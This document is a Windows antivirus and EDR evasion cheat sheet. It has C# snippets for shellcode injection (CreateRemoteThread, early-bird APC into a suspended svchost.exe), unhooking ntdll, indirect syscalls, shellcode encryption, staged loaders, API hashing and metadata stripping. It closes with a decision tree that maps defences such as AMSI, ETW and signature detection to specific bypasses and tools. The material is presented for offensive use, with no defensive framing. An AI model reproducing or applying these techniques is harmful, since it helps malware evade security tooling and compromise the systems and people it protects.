Windows Av Evasion

IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetPid);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
WriteProcessMemory(hProcess, addr, sc, (uint)sc.Length, out _);
CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

// Create suspended process
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", ..., CREATE_SUSPENDED, ..., ref si, ref pi);

// Allocate and write shellcode
IntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
WriteProcessMemory(pi.hProcess, addr, sc, (uint)sc.Length, out _);

// Queue APC to main thread (runs before main entry point)
QueueUserAPC(addr, pi.hThread, IntPtr.Zero);
ResumeThread(pi.hThread);

Normal: User code → ntdll.dll (HOOKED) → kernel
Direct: User code → syscall instruction → kernel (bypasses hook)

// Read clean ntdll.dll from disk
byte[] cleanNtdll = File.ReadAllBytes(@"C:\Windows\System32\ntdll.dll");
// Or from KnownDlls: \KnownDlls\ntdll.dll
// Or from suspended process (create sacrificial process, read its ntdll)

// Overwrite hooked .text section with clean copy
// → All EDR hooks in ntdll are removed

// Instead of: syscall (in your code — suspicious)
// Do: jump to syscall instruction inside ntdll.dll (legitimate location)
// The ret address on stack points to ntdll.dll, not your code

// AES encryption (preferred)
using Aes aes = Aes.Create();
aes.Key = key; aes.IV = iv;
byte[] encrypted = aes.CreateEncryptor().TransformFinalBlock(shellcode, 0, shellcode.Length);

// XOR (simple, fast)
for (int i = 0; i < shellcode.Length; i++)
    shellcode[i] ^= key[i % key.Length];

// RC4 (stream cipher, simple implementation)

Stage 1: Small, encrypted loader (evades static analysis)
Stage 2: Download actual payload at runtime (encrypted)
Stage 3: Decrypt in memory → execute

// Avoid plaintext API names, URLs, tool names
// Use encrypted strings, decrypt at runtime
string decrypted = Decrypt(encryptedApiName);
IntPtr funcPtr = GetProcAddress(GetModuleHandle("kernel32.dll"), decrypted);

// Resolve API by hash instead of name (avoids string detection)
// Hash "VirtualAlloc" → 0x91AFCA54
IntPtr func = GetProcAddressByHash(module, 0x91AFCA54);

# Strip .NET metadata
ConfuserEx / .NET Reactor / Obfuscar

# Remove PE metadata (timestamps, rich header, debug info)
# Modify compilation timestamps
# Strip PDB paths

Need to execute tool/payload on protected host
│
├── PowerShell-based payload?
│   ├── AMSI blocking? → AMSI bypass first (§1)
│   │   ├── .NET 2.0 available? → PS v2 downgrade (no AMSI)
│   │   ├── Memory patch AmsiScanBuffer
│   │   └── Reflection-based bypass
│   ├── Script Block Logging? → ETW bypass (§2)
│   └── Constrained Language Mode? → CLM bypass or switch to C#
│
├── .NET assembly (Rubeus, SharpHound, etc.)?
│   ├── Direct execution blocked?
│   │   ├── In-memory Assembly.Load (§3)
│   │   ├── Convert to shellcode with Donut (§3)
│   │   └── Use C2 execute-assembly (§3)
│   └── Still detected?
│       ├── Obfuscate assembly (ConfuserEx)
│       ├── Modify source + recompile
│       └── Use BOFs (Beacon Object Files) if CS
│
├── Shellcode execution needed?
│   ├── Basic → VirtualAlloc + callback (§4)
│   ├── Need injection → choose technique by OPSEC (§5)
│   │   ├── Low detection needed → module stomping or phantom DLL
│   │   ├── Medium → early bird APC or NtMapViewOfSection
│   │   └── Quick and dirty → CreateRemoteThread
│   └── Memory scanners detect payload?
│       ├── Encrypt payload → decrypt only at execution (§7)
│       └── Sleep obfuscation (Ekko/Foliage) (§7)
│
├── EDR hooking ntdll.dll?
│   ├── Direct syscalls (SysWhispers3/HellsGate) (§6)
│   ├── Fresh ntdll copy from disk/KnownDlls (§6)
│   └── Indirect syscalls (return to ntdll instruction) (§6)
│
├── Signature detection?
│   ├── Known tool signature → modify + recompile
│   ├── String-based → string encryption / API hashing (§8)
│   ├── PE metadata → strip/modify (§8)
│   └── Behavioral → change execution flow, add junk code
│
└── All local evasion fails?
    ├── Use Living-off-the-Land (LOLBins): certutil, mshta, regsvr32
    ├── Use legitimate admin tools (PsExec, WMI, WinRM)
    └── Switch to fileless / memory-only techniques